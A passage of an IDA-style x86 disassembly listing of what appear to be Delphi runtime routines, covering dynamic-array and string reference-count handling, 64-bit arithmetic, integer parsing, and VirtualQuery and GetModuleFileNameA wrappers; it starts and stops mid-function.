loc_4000541C:				; CODE XREF: sub_4000540C+7j
		mov	al, 10h
		call	sub_40002D50
sub_4000540C	endp

; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_40005424	proc near		; CODE XREF: sub_40005424+CFp
					; sub_40005540+ACp
		push	ebx
		push	esi
		push	edi
		push	ebp
		mov	ebx, eax
		mov	esi, edx
		xor	eax, eax
		mov	al, [ecx+1]
		lea	edi, [eax+ecx+0Ah]
		mov	ebp, [edi-4]
		xor	eax, eax
		mov	ecx, [edi-8]
		push	ecx


loc_4000543E:				; CODE XREF: sub_40005424+100j
		mov	ecx, [edi+4]
		sub	ecx, eax
		jle	short loc_40005450
		mov	edx, eax
		add	eax, esi
		add	edx, ebx
		call	sub_40002DFC


loc_40005450:				; CODE XREF: sub_40005424+1Fj
		mov	eax, [edi+4]
		mov	edx, [edi]
		mov	edx, [edx]
		mov	cl, [edx]
		cmp	cl, 0Ah
		jz	short loc_4000548F
		cmp	cl, 0Bh
		jz	short loc_400054A0
		cmp	cl, 0Ch
		jz	short loc_400054B1
		cmp	cl, 0Dh
		jz	short loc_400054C2
		cmp	cl, 0Eh
		jz	short loc_400054E2
		cmp	cl, 0Fh
		jz	loc_400054FB
		cmp	cl, 11h
		jz	loc_4000550C
		mov	al, 2
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		jmp	sub_40002D50
; ---------------------------------------------------------------------------


loc_4000548F:				; CODE XREF: sub_40005424+38j
		mov	edx, [eax+esi]
		add	eax, ebx
		call	sub_400048D8
		mov	eax, 4
		jmp	short loc_4000551D
; ---------------------------------------------------------------------------


loc_400054A0:				; CODE XREF: sub_40005424+3Dj
		mov	edx, [eax+esi]
		add	eax, ebx
		call	sub_40005044
		mov	eax, 4
		jmp	short loc_4000551D
; ---------------------------------------------------------------------------


loc_400054B1:				; CODE XREF: sub_40005424+42j
		lea	edx, [eax+esi]
		add	eax, ebx
		call	sub_4000540C
		mov	eax, 10h
		jmp	short loc_4000551D
; ---------------------------------------------------------------------------


loc_400054C2:				; CODE XREF: sub_40005424+47j
		xor	ecx, ecx
		mov	cl, [edx+1]
		push	dword ptr [ecx+edx+2]
		push	dword ptr [ecx+edx+6]
		mov	ecx, [ecx+edx+0Ah]
		mov	ecx, [ecx]
		lea	edx, [eax+esi]
		add	eax, ebx
		call	sub_40005540
		pop	eax
		jmp	short loc_4000551D
; ---------------------------------------------------------------------------


loc_400054E2:				; CODE XREF: sub_40005424+4Cj
		xor	ecx, ecx
		mov	cl, [edx+1]
		mov	ecx, [ecx+edx+2]
		push	ecx
		mov	ecx, edx
		lea	edx, [eax+esi]
		add	eax, ebx
		call	sub_40005424
		pop	eax
		jmp	short loc_4000551D
; ---------------------------------------------------------------------------


loc_400054FB:				; CODE XREF: sub_40005424+51j
		mov	edx, [eax+esi]
		add	eax, ebx
		call	sub_4000621C
		mov	eax, 4
		jmp	short loc_4000551D
; ---------------------------------------------------------------------------


loc_4000550C:				; CODE XREF: sub_40005424+5Aj
		mov	ecx, edx
		mov	edx, [eax+esi]
		add	eax, ebx
		call	sub_40005B70
		mov	eax, 4


loc_4000551D:				; CODE XREF: sub_40005424+7Aj
					; sub_40005424+8Bj ...
		add	eax, [edi+4]
		add	edi, 8
		dec	ebp
		jnz	loc_4000543E
		pop	ecx
		sub	ecx, eax
		jle	short loc_40005539
		lea	edx, [eax+ebx]
		add	eax, esi
		call	sub_40002DFC


loc_40005539:				; CODE XREF: sub_40005424+109j
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40005424	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40005540	proc near		; CODE XREF: sub_40005424+B6p
					; sub_40005540+98p ...

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		push	ebp
		mov	ebx, eax
		mov	esi, edx
		mov	edi, ecx
		mov	ebp, [esp+10h+arg_0]
		mov	cl, [edi]
		cmp	cl, 0Ah
		jz	short loc_40005586
		cmp	cl, 0Bh
		jz	short loc_4000559D
		cmp	cl, 0Ch
		jz	short loc_400055B1
		cmp	cl, 0Dh
		jz	short loc_400055C5
		cmp	cl, 0Eh
		jz	short loc_400055E6
		cmp	cl, 0Fh
		jz	loc_40005603
		cmp	cl, 11h
		jz	loc_40005617
		mov	al, 2
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		jmp	sub_40002D50
; ---------------------------------------------------------------------------


loc_40005586:				; CODE XREF: sub_40005540+13j
					; sub_40005540+56j
		mov	eax, ebx
		mov	edx, [esi]
		call	sub_400048D8
		add	ebx, 4
		add	esi, 4
		dec	ebp
		jnz	short loc_40005586
		jmp	loc_4000562B
; ---------------------------------------------------------------------------


loc_4000559D:				; CODE XREF: sub_40005540+18j
					; sub_40005540+6Dj
		mov	eax, ebx
		mov	edx, [esi]
		call	sub_40005044
		add	ebx, 4
		add	esi, 4
		dec	ebp
		jnz	short loc_4000559D
		jmp	short loc_4000562B
; ---------------------------------------------------------------------------


loc_400055B1:				; CODE XREF: sub_40005540+1Dj
					; sub_40005540+81j
		mov	eax, ebx
		mov	edx, esi
		call	sub_4000540C
		add	ebx, 10h
		add	esi, 10h
		dec	ebp
		jnz	short loc_400055B1
		jmp	short loc_4000562B
; ---------------------------------------------------------------------------


loc_400055C5:				; CODE XREF: sub_40005540+22j
		xor	ecx, ecx
		mov	cl, [edi+1]
		lea	edi, [ecx+edi+2]


loc_400055CE:				; CODE XREF: sub_40005540+A2j
		mov	eax, ebx
		mov	edx, esi
		mov	ecx, [edi+8]
		push	dword ptr [edi+4]
		call	sub_40005540
		add	ebx, [edi]
		add	esi, [edi]
		dec	ebp
		jnz	short loc_400055CE
		jmp	short loc_4000562B
; ---------------------------------------------------------------------------


loc_400055E6:				; CODE XREF: sub_40005540+27j
					; sub_40005540+BFj
		mov	eax, ebx
		mov	edx, esi
		mov	ecx, edi
		call	sub_40005424
		xor	eax, eax
		mov	al, [edi+1]
		add	ebx, [eax+edi+2]
		add	esi, [eax+edi+2]
		dec	ebp
		jnz	short loc_400055E6
		jmp	short loc_4000562B
; ---------------------------------------------------------------------------


loc_40005603:				; CODE XREF: sub_40005540+2Cj
					; sub_40005540+D3j
		mov	eax, ebx
		mov	edx, [esi]
		call	sub_4000621C
		add	ebx, 4
		add	esi, 4
		dec	ebp
		jnz	short loc_40005603
		jmp	short loc_4000562B
; ---------------------------------------------------------------------------


loc_40005617:				; CODE XREF: sub_40005540+35j
					; sub_40005540+E9j
		mov	eax, ebx
		mov	edx, [esi]
		mov	ecx, edi
		call	sub_40005B70
		add	ebx, 4
		add	esi, 4
		dec	ebp
		jnz	short loc_40005617


loc_4000562B:				; CODE XREF: sub_40005540+58j
					; sub_40005540+6Fj ...
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn	4
sub_40005540	endp

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40005634	proc near		; CODE XREF: sub_4000C230+1C3p
		push	eax
		call	sub_40005400
		pop	eax
		call	sub_40002C3C
		retn
sub_40005634	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40005644	proc near		; CODE XREF: sub_40005650+18p
		xchg	eax, ecx
		xchg	ecx, edx
		call	sub_400049E0
		retn
sub_40005644	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40005650	proc near		; CODE XREF: sub_40016280+2D8p

var_C		= dword	ptr -0Ch

		push	ebx
		push	esi
		push	ecx
		mov	esi, edx
		mov	ebx, eax
		mov	[esp+0Ch+var_C], ebx
		mov	eax, [esp+0Ch+var_C]
		call	sub_40005168
		mov	edx, eax
		mov	ecx, esi
		mov	eax, ebx
		call	sub_40005644
		pop	edx
		pop	esi
		pop	ebx
		retn
sub_40005650	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40005674	proc near		; CODE XREF: sub_40016280+D3p
					; sub_40016280+101p ...

var_4		= dword	ptr -4

		push	ecx
		xor	edx, edx
		mov	[esp+4+var_4], edx
		mov	edx, eax
		test	edx, edx
		jz	short loc_40005685
		sub	edx, 4
		mov	edx, [edx]


loc_40005685:				; CODE XREF: sub_40005674+Aj
		mov	ecx, esp
		xchg	eax, ecx
		xchg	edx, ecx
		call	sub_4000506C
		mov	eax, [esp+4+var_4]
		pop	edx
		retn
sub_40005674	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40005694	proc near		; DATA XREF: .itext:40019034o
		mov	al, 11h
		jmp	sub_40002D50
sub_40005694	endp

; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_4000569C	proc near		; CODE XREF: sub_40005754+186p
					; sub_400080E8+43p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	edx
		push	eax
		mov	eax, [esp+8+arg_4]
		mul	[esp+8+var_8]
		mov	ecx, eax
		mov	eax, [esp+8+var_4]
		mul	[esp+8+arg_0]
		add	ecx, eax
		mov	eax, [esp+8+var_8]
		mul	[esp+8+arg_0]
		add	edx, ecx
		pop	ecx
		pop	ecx
		retn	8
sub_4000569C	endp

; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_400056C0	proc near		; CODE XREF: sub_4000679C+68p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		mov	ebx, [esp+0Ch+arg_0]
		mov	ecx, [esp+0Ch+arg_4]
		mov	esi, edx
		mov	edi, ecx
		sar	esi, 1Fh
		xor	eax, esi
		xor	edx, esi
		sub	eax, esi
		sbb	edx, esi
		sar	edi, 1Fh
		xor	esi, edi
		xor	ebx, edi
		xor	ecx, edi
		sub	ebx, edi
		sbb	ecx, edi
		jnz	short loc_400056FC
		cmp	edx, ebx
		jb	short loc_400056F6
		mov	ecx, eax
		mov	eax, edx
		xor	edx, edx
		div	ebx
		xchg	eax, ecx


loc_400056F6:				; CODE XREF: sub_400056C0+2Bj
		div	ebx
		mov	edx, ecx
		jmp	short loc_40005743
; ---------------------------------------------------------------------------


loc_400056FC:				; CODE XREF: sub_400056C0+27j
		sub	esp, 0Ch
		mov	[esp+18h+var_18], eax
		mov	[esp+18h+var_14], ebx
		mov	[esp+18h+var_10], edx
		mov	edi, ecx
		shr	edx, 1
		rcr	eax, 1
		ror	edi, 1
		rcr	ebx, 1
		bsr	ecx, ecx
		shrd	ebx, edi, cl
		shrd	eax, edx, cl
		shr	edx, cl
		rol	edi, 1
		div	ebx
		mov	ebx, [esp+18h+var_18]
		mov	ecx, eax
		imul	edi, eax
		mul	[esp+18h+var_14]
		add	edx, edi
		sub	ebx, eax
		mov	eax, ecx
		mov	ecx, [esp+18h+var_10]
		sbb	ecx, edx
		sbb	eax, 0
		xor	edx, edx
		add	esp, 0Ch


loc_40005743:				; CODE XREF: sub_400056C0+3Aj
		xor	eax, esi
		xor	edx, esi
		sub	eax, esi
		sbb	edx, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_400056C0	endp

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40005754	proc near		; CODE XREF: sub_40007E0C+Bp

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= byte ptr -14h

		push	ebx
		push	esi
		push	edi
		push	ebp
		add	esp, 0FFFFFFECh
		mov	[esp+24h+var_24], edx
		mov	esi, eax
		mov	ebp, 1
		xor	edi, edi
		mov	[esp+24h+var_1C], 0
		mov	[esp+24h+var_18], 0
		test	esi, esi
		jnz	short loc_40005786
		mov	eax, [esp+24h+var_24]
		mov	[eax], ebp
		jmp	loc_4000595C
; ---------------------------------------------------------------------------


loc_40005785:				; CODE XREF: sub_40005754+37j
		inc	ebp


loc_40005786:				; CODE XREF: sub_40005754+25j
		cmp	byte ptr [esi+ebp-1], 20h
		jz	short loc_40005785
		mov	[esp+24h+var_14], 0
		movzx	eax, byte ptr [esi+ebp-1]
		cmp	al, 2Dh
		jnz	short loc_400057A3
		mov	[esp+24h+var_14], 1
		inc	ebp
		jmp	short loc_400057A8
; ---------------------------------------------------------------------------


loc_400057A3:				; CODE XREF: sub_40005754+45j
		cmp	al, 2Bh
		jnz	short loc_400057A8
		inc	ebp


loc_400057A8:				; CODE XREF: sub_40005754+4Dj
					; sub_40005754+51j
		mov	bl, 1
		cmp	byte ptr [esi+ebp-1], 24h
		jz	short loc_400057DB
		movzx	eax, byte ptr [esi+ebp-1]
		call	sub_4000309C
		cmp	al, 58h
		jz	short loc_400057DB
		cmp	byte ptr [esi+ebp-1], 30h
		jnz	loc_40005891
		movzx	eax, byte ptr [esi+ebp]
		call	sub_4000309C
		cmp	al, 58h
		jnz	loc_40005891


loc_400057DB:				; CODE XREF: sub_40005754+5Bj
					; sub_40005754+69j
		cmp	byte ptr [esi+ebp-1], 30h
		jnz	short loc_400057E3
		inc	ebp


loc_400057E3:				; CODE XREF: sub_40005754+8Cj
		inc	ebp


loc_400057E4:				; CODE XREF: sub_40005754+111j
		movzx	ecx, byte ptr [esi+ebp-1]
		mov	eax, ecx
		add	al, 0D0h
		sub	al, 0Ah
		jb	short loc_400057FF
		add	al, 0F9h
		sub	al, 6
		jb	short loc_40005807
		add	al, 0E6h
		sub	al, 6
		jb	short loc_4000580F
		jmp	short loc_4000586A
; ---------------------------------------------------------------------------


loc_400057FF:				; CODE XREF: sub_40005754+9Bj
		movzx	edi, cl
		sub	edi, 30h
		jmp	short loc_40005815
; ---------------------------------------------------------------------------


loc_40005807:				; CODE XREF: sub_40005754+A1j
		movzx	edi, cl
		sub	edi, 37h
		jmp	short loc_40005815
; ---------------------------------------------------------------------------


loc_4000580F:				; CODE XREF: sub_40005754+A7j
		movzx	edi, cl
		sub	edi, 57h


loc_40005815:				; CODE XREF: sub_40005754+B1j
					; sub_40005754+B9j
		cmp	[esp+24h+var_18], 0
		jnz	short loc_40005825
		cmp	[esp+24h+var_1C], 0
		jb	short loc_4000586A
		jmp	short loc_40005827
; ---------------------------------------------------------------------------


loc_40005825:				; CODE XREF: sub_40005754+C6j
		jl	short loc_4000586A


loc_40005827:				; CODE XREF: sub_40005754+CFj
		cmp	[esp+24h+var_18], 0FFFFFFFh
		jnz	short loc_4000583A
		cmp	[esp+24h+var_1C], 0FFFFFFFFh
		jbe	short loc_4000583C
		jmp	short loc_4000586A
; ---------------------------------------------------------------------------


loc_4000583A:				; CODE XREF: sub_40005754+DBj
		jg	short loc_4000586A


loc_4000583C:				; CODE XREF: sub_40005754+E2j
		mov	eax, edi
		cdq
		push	edx
		push	eax
		mov	eax, [esp+2Ch+var_1C]
		mov	edx, [esp+2Ch+var_18]
		shld	edx, eax, 4
		shl	eax, 4
		add	eax, [esp+2Ch+var_2C]
		adc	edx, [esp+2Ch+var_28]
		add	esp, 8
		mov	[esp+24h+var_1C], eax
		mov	[esp+24h+var_18], edx
		inc	ebp
		xor	ebx, ebx
		jmp	loc_400057E4
; ---------------------------------------------------------------------------


loc_4000586A:				; CODE XREF: sub_40005754+A9j
					; sub_40005754+CDj ...
		cmp	[esp+24h+var_14], 0
		jz	loc_40005942
		mov	eax, [esp+24h+var_1C]
		mov	edx, [esp+24h+var_18]
		neg	eax
		adc	edx, 0
		neg	edx
		mov	[esp+24h+var_1C], eax
		mov	[esp+24h+var_18], edx
		jmp	loc_40005942
; ---------------------------------------------------------------------------


loc_40005891:				; CODE XREF: sub_40005754+70j
					; sub_40005754+81j ...
		movzx	eax, byte ptr [esi+ebp-1]
		add	al, 0D0h
		sub	al, 0Ah
		jnb	short loc_400058FB
		movzx	edi, byte ptr [esi+ebp-1]
		sub	edi, 30h
		cmp	[esp+24h+var_18], 0
		jnz	short loc_400058B4
		cmp	[esp+24h+var_1C], 0
		jb	short loc_400058FB
		jmp	short loc_400058B6
; ---------------------------------------------------------------------------


loc_400058B4:				; CODE XREF: sub_40005754+155j
		jl	short loc_400058FB


loc_400058B6:				; CODE XREF: sub_40005754+15Ej
		cmp	[esp+24h+var_18], 0CCCCCCCh
		jnz	short loc_400058CC
		cmp	[esp+24h+var_1C], 0CCCCCCCCh
		jbe	short loc_400058CE
		jmp	short loc_400058FB
; ---------------------------------------------------------------------------


loc_400058CC:				; CODE XREF: sub_40005754+16Aj
		jg	short loc_400058FB


loc_400058CE:				; CODE XREF: sub_40005754+174j
		push	0
		push	0Ah
		mov	eax, [esp+2Ch+var_1C]
		mov	edx, [esp+2Ch+var_18]
		call	sub_4000569C
		push	edx
		push	eax
		mov	eax, edi
		cdq
		add	eax, [esp+2Ch+var_2C]
		adc	edx, [esp+2Ch+var_28]
		add	esp, 8
		mov	[esp+24h+var_1C], eax
		mov	[esp+24h+var_18], edx
		inc	ebp
		xor	ebx, ebx
		jmp	short loc_40005891
; ---------------------------------------------------------------------------


loc_400058FB:				; CODE XREF: sub_40005754+146j
					; sub_40005754+15Cj ...
		cmp	[esp+24h+var_14], 0
		jz	short loc_40005919
		mov	eax, [esp+24h+var_1C]
		mov	edx, [esp+24h+var_18]
		neg	eax
		adc	edx, 0
		neg	edx
		mov	[esp+24h+var_1C], eax
		mov	[esp+24h+var_18], edx


loc_40005919:				; CODE XREF: sub_40005754+1ACj
		cmp	[esp+24h+var_18], 0
		jnz	short loc_40005925
		cmp	[esp+24h+var_1C], 0


loc_40005925:				; CODE XREF: sub_40005754+1CAj
		jz	short loc_40005942
		cmp	[esp+24h+var_18], 0
		jnz	short loc_40005938
		cmp	[esp+24h+var_1C], 0
		setb	al
		jmp	short loc_4000593B
; ---------------------------------------------------------------------------


loc_40005938:				; CODE XREF: sub_40005754+1D8j
		setl	al


loc_4000593B:				; CODE XREF: sub_40005754+1E2j
		cmp	al, [esp+24h+var_14]
		jz	short loc_40005942
		dec	ebp


loc_40005942:				; CODE XREF: sub_40005754+11Bj
					; sub_40005754+138j ...
		cmp	byte ptr [esi+ebp-1], 0
		setnz	al
		or	bl, al
		jz	short loc_40005955
		mov	eax, [esp+24h+var_24]
		mov	[eax], ebp
		jmp	short loc_4000595C
; ---------------------------------------------------------------------------


loc_40005955:				; CODE XREF: sub_40005754+1F8j
		mov	eax, [esp+24h+var_24]
		xor	edx, edx
		mov	[eax], edx


loc_4000595C:				; CODE XREF: sub_40005754+2Cj
					; sub_40005754+1FFj
		mov	eax, [esp+24h+var_1C]
		mov	edx, [esp+24h+var_18]
		add	esp, 14h
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40005754	endp


; =============== S U B	R O U T	I N E =======================================



sub_4000596C	proc near		; CODE XREF: sub_40005974p
					; sub_40007E2C+5p ...
		test	eax, eax
		jz	short locret_40005973
		mov	eax, [eax-4]

locret_40005973:			; CODE XREF: sub_4000596C+2j
		retn
sub_4000596C	endp


; =============== S U B	R O U T	I N E =======================================



sub_40005974	proc near		; CODE XREF: sub_40007F40+3Ap
					; sub_40007F40+5Dp ...
		call	sub_4000596C
		dec	eax
		retn
sub_40005974	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4000597C	proc near		; CODE XREF: sub_4000599C+105p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	[ebp+arg_0]
		call	sub_40005540
		pop	ebp
		retn	4
sub_4000597C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4000598C	proc near		; CODE XREF: sub_4000599C+AFp
		jmp	sub_40005314
sub_4000598C	endp

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40005994	proc near		; CODE XREF: sub_4000599C+2Fp
		call	sub_40005B34
		retn
sub_40005994	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4000599C	proc near		; CODE XREF: sub_4000599C+172p
					; sub_40005B28+5p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFE0h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_8], ecx
		mov	esi, edx
		mov	[ebp+var_4], eax
		mov	ebx, [ebp+var_4]
		mov	ebx, [ebx]
		mov	eax, [ebp+arg_0]
		mov	edi, [eax]
		test	edi, edi
		jg	short loc_400059D5
		test	edi, edi
		jge	short loc_400059C6
		mov	al, 4
		call	sub_40002D50
; ---------------------------------------------------------------------------


loc_400059C6:				; CODE XREF: sub_4000599C+21j
		mov	eax, [ebp+var_4]
		mov	edx, esi
		call	sub_40005994
		jmp	loc_40005B1E
; ---------------------------------------------------------------------------


loc_400059D5:				; CODE XREF: sub_4000599C+1Dj
		xor	eax, eax
		mov	[ebp+var_10], eax
		test	ebx, ebx
		jz	short loc_400059E9
		sub	ebx, 4
		mov	eax, [ebx]
		mov	[ebp+var_10], eax
		sub	ebx, 4


loc_400059E9:				; CODE XREF: sub_4000599C+40j
		movzx	eax, byte ptr [esi+1]
		add	esi, eax
		mov	eax, esi
		mov	edx, [eax+2]
		mov	[ebp+var_18], edx
		mov	edx, [eax+6]
		test	edx, edx
		jz	short loc_40005A02
		mov	esi, [edx]
		jmp	short loc_40005A04
; ---------------------------------------------------------------------------


loc_40005A02:				; CODE XREF: sub_4000599C+60j
		xor	esi, esi


loc_40005A04:				; CODE XREF: sub_4000599C+64j
		mov	eax, edi
		imul	[ebp+var_18]
		mov	[ebp+var_1C], eax
		mov	eax, [ebp+var_1C]
		cdq
		idiv	edi
		cmp	eax, [ebp+var_18]
		jz	short loc_40005A1E
		mov	al, 4
		call	sub_40002D50
; ---------------------------------------------------------------------------


loc_40005A1E:				; CODE XREF: sub_4000599C+79j
		add	[ebp+var_1C], 8
		test	ebx, ebx
		jz	short loc_40005A2B
		cmp	dword ptr [ebx], 1
		jnz	short loc_40005A60


loc_40005A2B:				; CODE XREF: sub_4000599C+88j
		mov	[ebp+var_20], ebx
		cmp	edi, [ebp+var_10]
		jge	short loc_40005A50
		test	esi, esi
		jz	short loc_40005A50
		mov	eax, ebx
		add	eax, 8
		mov	edx, edi
		imul	edx, [ebp+var_18]
		add	eax, edx
		mov	ecx, [ebp+var_10]
		sub	ecx, edi
		mov	edx, esi
		call	sub_4000598C


loc_40005A50:				; CODE XREF: sub_4000599C+95j
					; sub_4000599C+99j
		lea	eax, [ebp+var_20]
		mov	edx, [ebp+var_1C]
		call	sub_40002C54
		mov	ebx, [ebp+var_20]
		jmp	short loc_40005ABE
; ---------------------------------------------------------------------------


loc_40005A60:				; CODE XREF: sub_4000599C+8Dj
		dec	dword ptr [ebx]
		mov	eax, [ebp+var_1C]
		call	sub_40002C20
		mov	ebx, eax
		mov	eax, [ebp+var_10]
		mov	[ebp+var_14], eax
		cmp	edi, [ebp+var_14]
		jge	short loc_40005A7A
		mov	[ebp+var_14], edi


loc_40005A7A:				; CODE XREF: sub_4000599C+D9j
		test	esi, esi
		jz	short loc_40005AA8
		mov	edx, [ebp+var_14]
		imul	edx, [ebp+var_18]
		mov	eax, ebx
		add	eax, 8
		xor	ecx, ecx
		call	sub_40003580
		mov	eax, [ebp+var_14]
		push	eax
		mov	edx, [ebp+var_4]
		mov	edx, [edx]
		mov	eax, ebx
		add	eax, 8
		mov	ecx, esi
		call	sub_4000597C
		jmp	short loc_40005ABE
; ---------------------------------------------------------------------------


loc_40005AA8:				; CODE XREF: sub_4000599C+E0j
		mov	ecx, [ebp+var_14]
		imul	ecx, [ebp+var_18]
		mov	edx, ebx
		add	edx, 8
		mov	eax, [ebp+var_4]
		mov	eax, [eax]
		call	sub_40002DFC


loc_40005ABE:				; CODE XREF: sub_4000599C+C2j
					; sub_4000599C+10Aj
		mov	dword ptr [ebx], 1
		add	ebx, 4
		mov	[ebx], edi
		add	ebx, 4
		mov	edx, edi
		sub	edx, [ebp+var_10]
		imul	edx, [ebp+var_18]
		mov	eax, [ebp+var_18]
		imul	eax, [ebp+var_10]
		add	eax, ebx
		xor	ecx, ecx
		call	sub_40003580
		cmp	[ebp+var_8], 1
		jle	short loc_40005B19
		add	[ebp+arg_0], 4
		dec	[ebp+var_8]
		dec	edi
		test	edi, edi
		jl	short loc_40005B19
		inc	edi
		mov	[ebp+var_C], 0


loc_40005AFF:				; CODE XREF: sub_4000599C+17Bj
		mov	eax, [ebp+arg_0]
		push	eax
		mov	eax, [ebp+var_C]
		lea	eax, [ebx+eax*4]
		mov	ecx, [ebp+var_8]
		mov	edx, esi
		call	sub_4000599C
		inc	[ebp+var_C]
		dec	edi
		jnz	short loc_40005AFF


loc_40005B19:				; CODE XREF: sub_4000599C+14Dj
					; sub_4000599C+159j
		mov	eax, [ebp+var_4]
		mov	[eax], ebx


loc_40005B1E:				; CODE XREF: sub_4000599C+34j
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	4
sub_4000599C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40005B28	proc near		; CODE XREF: sub_40007E2C+20p
					; sub_40007E2C+57p ...

var_4		= dword	ptr -4

		push	esp
		add	[esp+4+var_4], 4
		call	sub_4000599C
		retn
sub_40005B28	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40005B34	proc near		; CODE XREF: sub_40005314+D0p
					; sub_40005994p ...
		mov	ecx, [eax]
		test	ecx, ecx
		jz	short locret_40005B6D
		mov	dword ptr [eax], 0
		lock dec dword ptr [ecx-8]
		jnz	short locret_40005B6D
		push	eax
		mov	eax, ecx
		xor	ecx, ecx
		mov	cl, [edx+1]
		mov	edx, [ecx+edx+6]
		test	edx, edx
		jz	short loc_40005B64
		mov	ecx, [eax-4]
		test	ecx, ecx
		jz	short loc_40005B64
		mov	edx, [edx]
		call	sub_40005314


loc_40005B64:				; CODE XREF: sub_40005B34+20j
					; sub_40005B34+27j
		sub	eax, 8
		call	sub_40002C3C
		pop	eax

locret_40005B6D:			; CODE XREF: sub_40005B34+4j
					; sub_40005B34+10j
		retn
sub_40005B34	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40005B70	proc near		; CODE XREF: sub_40005424+EFp
					; sub_40005540+DDp
		push	ebx
		mov	ebx, [eax]
		test	edx, edx
		jz	short loc_40005B7B
		lock inc dword ptr [edx-8]


loc_40005B7B:				; CODE XREF: sub_40005B70+5j
		test	ebx, ebx
		jz	short loc_40005B93
		lock dec dword ptr [ebx-8]
		jnz	short loc_40005B93
		push	eax
		push	edx
		mov	edx, ecx
		inc	dword ptr [ebx-8]
		call	sub_40005B34
		pop	edx
		pop	eax


loc_40005B93:				; CODE XREF: sub_40005B70+Dj
					; sub_40005B70+13j
		mov	[eax], edx
		pop	ebx
		retn
sub_40005B70	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40005B98	proc near		; CODE XREF: sub_40013308+Cp

var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch

		add	esp, 0FFFFFFE4h
		push	1Ch
		lea	edx, [esp+20h+var_1C]
		push	edx
		push	eax
		call	sub_40001258	; VirtualQuery
		cmp	[esp+1Ch+var_C], 1000h
		jnz	short loc_40005BB8
		mov	eax, [esp+1Ch+var_18]
		jmp	short loc_40005BBA
; ---------------------------------------------------------------------------


loc_40005BB8:				; CODE XREF: sub_40005B98+18j
		xor	eax, eax


loc_40005BBA:				; CODE XREF: sub_40005B98+1Ej
		add	esp, 1Ch
		retn
sub_40005B98	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40005BC0	proc near		; CODE XREF: sub_40005C08+20p

var_110		= byte ptr -110h

		push	ebx
		push	esi
		add	esp, 0FFFFFEF8h
		mov	ebx, eax
		cmp	dword ptr [ebx+10h], 0
		jnz	short loc_40005BFB
		push	105h
		lea	eax, [esp+114h+var_110]
		push	eax
		mov	eax, [ebx+4]
		push	eax
		call	sub_400011E8	; GetModuleFileNameA
		mov	eax, esp
		mov	dl, 1
		call	sub_40005E24
		mov	esi, eax
		mov	[ebx+10h], esi
		test	esi, esi
		jnz	short loc_40005BFB
		mov	eax, [ebx+4]
		mov	[ebx+10h], eax


loc_40005BFB:				; CODE XREF: sub_40005BC0+Ej
					; sub_40005BC0+33j
		mov	eax, [ebx+10h]
		add	esp, 108h
		pop	esi
		pop	ebx
		retn
sub_40005BC0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40005C08	proc near		; CODE XREF: sub_400062F0+2Cp
					; sub_4000ADE0+ECp ...
		push	ebx
		push	esi
		push	edi
		mov	esi, eax
		mov	ebx, off_4001A038
		test	ebx, ebx
		jz	short loc_40005C37


loc_40005C17:				; CODE XREF: sub_40005C08+2Dj
		cmp	esi, [ebx+4]
		jz	short loc_40005C26
		cmp	esi, [ebx+8]
		jz	short loc_40005C26
		cmp	esi, [ebx+0Ch]
		jnz	short loc_40005C31


loc_40005C26:				; CODE XREF: sub_40005C08+12j
